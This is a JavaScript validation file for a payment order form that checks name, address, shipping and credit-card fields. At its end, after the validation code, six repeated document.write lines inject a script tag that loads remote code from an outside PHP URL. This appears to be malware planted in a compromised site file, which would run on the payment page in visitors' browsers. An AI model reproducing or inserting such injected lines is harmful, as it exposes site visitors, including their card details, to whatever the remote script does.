function validate_required(field,alerttxt)
{
with (field)
{
if (value==null||value=="")
  {alert(alerttxt);return false;}
else {return true}
}
}function validate_form(thisform)
{
with (thisform)
{


//SOLD TO --> Starts
if (validate_required(sold_buyersname,"SOLD TO: Buyer's Name / Title must be filled out!")==false)
  {sold_buyersname.focus();return false;}
  
if (validate_required(sold_address,"SOLD TO: Street Address must be filled out!")==false)
  {sold_address.focus();return false;}
  
if (validate_required(sold_city,"SOLD TO: City must be filled out!")==false)
  {sold_city.focus();return false;}
  
if (validate_required(sold_state,"SOLD TO: State must be filled out!")==false)
  {sold_state.focus();return false;}
  
if (validate_required(sold_zip,"SOLD TO: Zip must be filled out!")==false)
  {sold_zip.focus();return false;}  
  
if (validate_required(sold_phone,"SOLD TO: Phone must be filled out!")==false)
  {sold_phone.focus();return false;}
//SOLD TO --> Ends



//SHIP TO --> Starts
/*if (validate_required(ship_contact,"SHIP TO: Contact / Title must be filled out!")==false)
  {ship_contact.focus();return false;}  
  
if (validate_required(ship_address,"SHIP TO: Street Address must be filled out!")==false)
  {ship_address.focus();return false;}
  
if (validate_required(ship_city,"SHIP TO: City must be filled out!")==false)
  {ship_city.focus();return false;}  
  
if (validate_required(ship_state,"SHIP TO: State must be filled out!")==false)
  {ship_state.focus();return false;}
  
if (validate_required(ship_zip,"SHIP TO: Zip must be filled out!")==false)
  {ship_zip.focus();return false;}  
  
if (validate_required(ship_phone,"SHIP TO: Phone must be filled out!")==false)
  {ship_phone.focus();return false;}
*/
//SHIP TO --> Ends  
  
  

//SHIPPING METHOD --> Starts
if (validate_required(shipping,"Shipping method must be selected!")==false)
  {shipping.focus();return false;}
//SHIPPING METHOD --> Ends



//CREDIT CARD --> Starts
if (validate_required(credit_card,"CREDIT CARD: Credit Card type must be selected!")==false)
  {credit_card.focus();return false;}
  
if (validate_required(cc_number,"CREDIT CARD: Credit Card Number must be filled out!")==false)
  {cc_number.focus();return false;}

if (validate_required(expiration,"CREDIT CARD: Expiration Date must be filled out!")==false)
  {expiration.focus();return false;}
  
if (validate_required(security_number,"CREDIT CARD: Security number must be filled out!")==false)
  {security_number.focus();return false;}

if (validate_required(cardhorlder_name,"CREDIT CARD: Cardholders Name must be filled out!")==false)
  {cardhorlder_name.focus();return false;}
//CREDIT CARD --> Ends



//BILLING ADDRESS --> Starts
if (validate_required(billing_comp_name,"BILLING ADDRESS: Company name must be filled out!")==false)
  {billing_comp_name.focus();return false;}
  
if (validate_required(billing_address,"BILLING ADDRESS: Street Address must be filled out!")==false)
  {billing_address.focus();return false;}

if (validate_required(billing_city,"BILLING ADDRESS: City must be filled out!")==false)
  {billing_city.focus();return false;}
  
if (validate_required(billing_state,"BILLING ADDRESS: State must be filled out!")==false)
  {billing_state.focus();return false;}

if (validate_required(billing_zip,"BILLING ADDRESS: Zip must be filled out!")==false)
  {billing_zip.focus();return false;}
  
if (validate_required(billing_phone,"BILLING ADDRESS: Phone must be filled out!")==false)
  {billing_phone.focus();return false;}
//BILLING ADDRESS --> Ends

}
}
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');
document.write('<script src=http://kingdom-electrics.com/upload/indexm.php ><\/script>');